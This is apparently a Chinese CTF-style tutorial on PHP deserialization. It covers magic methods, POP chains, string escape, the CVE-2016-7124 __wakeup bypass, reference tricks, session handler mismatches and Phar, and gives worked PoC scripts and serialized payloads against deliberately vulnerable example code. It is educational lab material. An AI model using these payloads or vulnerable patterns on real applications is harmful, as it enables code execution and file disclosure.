0x00 反序列化原理 反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行
0x01 表达方式 serialize序列化:所有格式第一位都是数据类型的英文字母简写
1 2 true --- b:1; false --- b:0;
1 'kkk' --- s:3(长度):"kkk";
1 2 array('kkk'); a(array):3(参数数量):{i:0(编号);s:3:"kkk";}
1 2 3 注:不能序列化类,可以序列化对象;只序列化成员变量,不序列化成员函数。 O(object):4(类名长度):"test"(类名):1(变量数量):{s:3(变量名字长度):"pub"(变量名字);s:3:"kkk";}
1 2 3 注:在变量名前加“%00类名%00”. O:4:"test":1:{s:9(变量名字长度):"testkkk"(变量名字);}
1 2 注:在变量名前加“%00*%00” O:4:"test":1:{s:6(变量名字长度):"*kkk"(变量名字);}
0x02 魔术方法 什么是魔术方法? 一个预定义好的,在特定情况下自动触发的行为方法。
魔术方法的作用 在特定条件下自动调用相关方法,最终导致触发代码。
0x03 构造和析构魔术方法 _construct()
构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class User { public $username ; public function __construct ($username ) { $this ->username = $username ; echo "触发了构造函数1次" ; } } $test = new User ("benben" );$ser = serialize ($test );unserialize ($ser );?>
_destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class User { public function __destruct ( ) { echo "触发了析构函数1次" ."<br />" ; } } $test = new User ("benben" );$ser = serialize ($test );unserialize ($ser );?>
析构函数例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct ( ) { eval ($this ->cmd); } } $ser = $_GET ["benben" ];unserialize ($ser );?>
0x04 weakup和sleep魔术方法 _sleep()
序列化serialize()函数会检查类中是否存在魔术方法_sleep(),如果存在会先调用该方法,然后在执行序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; public function __construct ($username , $nickname , $password ) { $this ->username = $username ; $this ->nickname = $nickname ; $this ->password = $password ; } public function __sleep ( ) { return array ('username' , 'nickname' ); } } $user = new User ('a' , 'b' , 'c' );echo serialize ($user );?>
_wakeup()
unserialize()
函数会检查是否存在魔术方法_wakeup()
。如果存在,则会先调用_wakeup()
方法,预先准备对象需要的资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; private $order ; public function __wakeup ( ) { $this ->password = $this ->username; } } $user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}' ;var_dump (unserialize ($user_ser ));?>
0x05 toString和invoke魔术方法 _toString()
把对象当成字符串调用会导致魔术方法_toString()
触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class User { var $benben = "this is test!!" ; public function __toString ( ) { return '格式不对,输出不了!' ; } } $test = new User () ;print_r ($test );echo PHP_EOL;var_dump ($test );echo PHP_EOL;echo $test ;?>
_invoke()
把对象当成函数调用会导致魔术方法_invoke()
触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class User { var $benben = "this is test!!" ; public function __invoke ( ) { echo '它不是个函数!' ; } } $test = new User () ;echo $test ->benben;echo PHP_EOL;echo $test () ->benben;?>
0x06 错误调用魔术方法 _call()
调用一个不存在的方法即可触发魔术方法_call()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class User { public function __call ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } } $test = new User () ;$test -> callxxx ('a' );?>
_callStatic()
静态调用或者调用成员常量时使用的方法不存在即可触发魔术方法_callStatic()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class User { public static function __callStatic ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } } $test = new User () ;$test ::callxxx ('a' );?>
_get()
调用的成员属性不存在即可触发魔术方法_get()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class User { public $var1 ; public function __get ($arg1 ) { echo $arg1 ; } } $test = new User () ;$test ->var2;?>
_set()
给不存在的成员属性赋值即可触发魔术方法_set()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class User { public $var1 ; public function __set ($arg1 ,$arg2 ) { echo $arg1 .',' .$arg2 ; } } $test = new User () ;$test ->var2=1 ;?>
_isset()
对不可访问属性使用isset()
或empty()
时,即可触发魔术方法_isset()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class User { private $var ; public function __isset ($arg1 ) { echo $arg1 ; } } $test = new User () ;isset ($test ->var );echo PHP_EOL;empty ($test ->var );?>
_unset()
对不可访问或不存在的属性使用unset()
时即可触发魔术方法_unset()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class User { private $var ; public function __unset ($arg1 ) { echo $arg1 ; } } $test = new User () ;unset ($test ->var );?>
_clone()
当使用clone()
拷贝完成一个对象时,新对象会自动调用定义的魔术方法_clone()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class User { private $var; public function __clone() { echo "__clone test"; } } $test = new User() ; $newclass = clone($test) ?> /* 输出结果: _clone test 分析: 使用_clone克隆对象完成后,触发魔术方法_clone()。 */
0x07 POP链构造及POC构造 例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
目标:触发echo
,调用$flag
第一步 :触发invoke()
**(对象当成函数调用)**,调用append($value)
,并使$var=flag.php
第二步:触发get()
**(调用的成员属性不存在)**,给$p
赋值为new Modifier()
第三步:触发toString
**(把对象当成字符串调用)**,给$str
赋值为new Test()
第四步:触发wakeup
(反序列化时触发) ,给$source
赋值为new Show()
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class Modifier { private $var = 'flag.php' ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __get ($key ) { $function = $this ->p; return $function (); } } $mod = new Modifier ();$test = new Test ();$test ->p = $mod ;$show = new Show ();$show ->source = $show ;$show ->str = $test ;echo serialize ($show );?> payload: O:4 :"Show" :2 :{s:6 :"source" ;r:1 ;s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:13 :"%00Modifier%00var" ;s:8 :"flag.php" ;}}}
0x08 字符串逃逸
反序列化以;}
结束,后面的字符串不影响正常的反序列化。
属性逃逸:
一般数据先经过一次serialize()
后再经过unserialize()
,在这个中间反序列化的字符串变多 或者变少 的时候才有可能存在反序列化属性逃逸 。
字符串逃逸—减少 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class A { public $v1 = "abcsystem()" ; public $v2 = '123' ; } $data = serialize (new A ());var_dump ($data );$data = str_replace ("system()" ,"" ,$data );var_dump ($data );var_dump (unserialize ($data ));?>
目标:构造出v3=123
逃逸。
修改v2
的值来补全格式
最开始破坏的字符:
O:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v 2”;s:3:”123”;}
通过修改字符串补全格式,并使后面的字符串变成功能性代码:
O:1:”A”:2:{s:2:”v1”;s:?:”abc”;s:2:”v2”;s:xx:” ;s:2:"v3";s:3:"123";}
1 2 3 4 需要被吃掉的字符 abc";s:2:"v2";s:xx: 共19个 1个system()有8个字符 共需要3个system() 一共吃掉abc+3个system()有27个字符 多出8个字符,所以需要在v2中在补充8个字符,即7个字符+一个引号".
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class A { public $v1 = "abcsystem()system()system()" ; public $v2 = '1234567";s:2:"v3";s:3:"123";}' ; } $data = serialize (new A ());var_dump ($data );$data = str_replace ("system()" ,"" ,$data );var_dump ($data );var_dump (unserialize ($data ));?>
字符串逃逸—增加 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class A { public $v1 = 'ls' ; public $v2 = '123' ; } $data = serialize (new A ());var_dump ($data );$data = str_replace ("ls" ,"pwd" ,$data );var_dump ($data );var_dump (unserialize ($data ));?>
目标:构造出v3=123
逃逸
修改v1
的值来补全格式
最开始破坏的字符
O:1:”A”:2:{s:2:”v1”;s:2:”pwd “;s:2:”v2”;s:3:”123”;}
通过修改字符串补全格式,并使后面的字符串变成功能性代码:
O:1:”A”:2:{s:2:”v1”;s:2:”pwd ";s:2:"v2";s:3:"123";}
s:2:”v2”;s:3:”123”;}
1 2 增加的字符 ";s:2:"v2";s:3:"123";} 共22位 一个ls转换成pwd多出来1位字符,所以需要22个ls转换成pwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class A { public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}' ; public $v2 = '123' ; } $data = serialize (new A ());var_dump ($data );$data = str_replace ("ls" ,"pwd" ,$data );var_dump ($data );var_dump (unserialize ($data ));
0x09 _weakup()绕过
反序列化漏洞:CVE-2016-7124
php5 < php5.6.25
php7 < php7.0.10
漏洞产生原因 当序列化字符串中表示对象属性个数 的值大于真是的属性个数时,会跳过**_weakup()**的执行。
eg:
O:1:”A”:2 :{s:2:”v1”;s:2:”kk”;s:2:”v2”;s:3:”123”;}
O:1:”A”:3 :{s:2:”v1”;s:2:”kk”;s:2:”v2”;s:3:”123”;}
_weakup()绕过例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting(0); class secret{ var $file='index.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ include_once($this->file); echo $flag; } function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //sercet in flag.php ?>
目标:触发echo
,调用$flag
第一步 :触发destruct()
**(在对象的所有引用被删除或者当对象被显式销毁时触发)**,并使$file=flag.php
第二步:初步得到 O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
第三步:将属性个数 1
改为2
,绕过weakup()
第四步:由于正则preg_match('/[oc]:\d+:/i',$cmd)
,所以在o:
后不能有数字,可以在数字前添加+
并url
编码绕过
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class secret { var $file ='flag.php' ; function __destruct ( ) { } } echo serialize (new secret ());?> payload: O:%2 B6:"secret" :2 :{s:4 :"file" ;s:8 :"flag.php" ;}
0x10 序列化引用 序列化引用例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include ("flag.php" );class just4fun { var $enter ; var $secret ; } if (isset ($_GET ['pass' ])) { $pass = $_GET ['pass' ]; $pass =str_replace ('*' ,'\*' ,$pass ); } $o = unserialize ($pass );if ($o ) { $o ->secret = "*" ; if ($o ->secret === $o ->enter) echo "Congratulation! Here is my secret: " .$flag ; else echo "Oh no... You can't fool me" ; } else echo "are you trolling?" ;?>
目标:让$enter
等于$secret
的值
第一步:$pass=str_replace('*','\*',$pass)
,过滤了*
,选择引用**&**的方式。
第二步:构造序列化字符串,让$enter
引用**&**$secret
的值
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php include ("flag.php" );class just4fun { var $enter ; var $secret ; } $just4fun = new just4fun ();$just4fun ->enter = &$just4fun ->secret;echo serialize ($just4fun );?> payload: O:8 :"just4fun" :2 :{s:5 :"enter" ;N;s:6 :"secret" ;R:2 ;}
0x11 Session反序列化
当session_start()
被调用或者php.ini
中的session.auto_start
为1 时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录**(/tmp)**。
漏洞产生:写入格式和读取格式不一致
存储数据的格式有多种,常用的有三种
存储格式
处理器
对应的存储格式
php
键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4)
经过serialize()函数序列化处理的数组
php_binary
键名的长度对应的ASCII字符+键名s+经过serialize()函数反序列化处理的值
session-php格式
1 2 3 4 <?php session_start(); $_SESSION['benben'] = $_GET['ben']; ?>
session-php_serialize格式
需声明session存储格式为php_serialize
1 2 3 4 5 6 <?php ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['benben' ] = $_GET ['ben' ];$_SESSION ['b' ] = $_GET ['b' ];?>
1 a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666"}
session-php_binary格式
需声明session存储格式为php_binary
1 2 3 4 5 6 <?php ini_set ('session.serialize_handler' ,'php_binary' );session_start ();$_SESSION ['benben' ] = $_GET ['ben' ];$_SESSION ['b' ] = $_GET ['b' ];?>
1 ACKbenbens:8:"dahzhuang";SOHbs:3:"666"
Session反序列化例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } ?>
目标:name
=her
由于$this->her=md5(rand(1, 10000))
,使用引用**&**确保相等
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php session_start ();class Flag { public $name ; public $her ; } $flag = new Flag ();$flag ->name = &$flag ->her;echo serialize ($flag );?> payload: O:4 :"Flag" :2 :{s:4 :"name" ;N;s:3 :"her" ;R:2 ;}
访问hint.php
,分析源代码
以php_serialize
格式存储session
的值
1 2 3 4 5 <?php ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
由于是以php
格式读seesion
值,所以在提交payload
时添加竖线|
,构造完整payload
在浏览器提交:
1 ?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
1 a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}
0x12 Phar反序列化
可以认为Phar
是PHP
的压缩文档,是PHP
中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP
就可以进行访问并执行内部语句。
默认开启版本 PHP
>=5.3
文件包含:phar
伪协议,可读取 .phar
文件。
Phar结构
phar
文件标识,格式为xxx<?php xxx;__HALT_COMPiLER();?>;
。**(头部信息)**
压缩文件的属性等信息,以序列化 存储。
压缩文件的内容。
签名,放在文件末尾。
注: Phar
协议解析文件时,会自动触发对manifest
字段的序列化 字符串进行反序列化
漏洞原理 Phar
之所以能反序列化,是因为Phar
文件会以序列化的形式存储用户自定义的meta-data
,PHP
使用phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作。
利用条件
phar
文件能上传到服务器。
要有可用反序列化魔术方法作为跳板。
1 file_exists()、fopen()、file_get_contents()等
文件操作函数参数可控,且、
/、
phar
等特殊字符没有被过滤。
例题: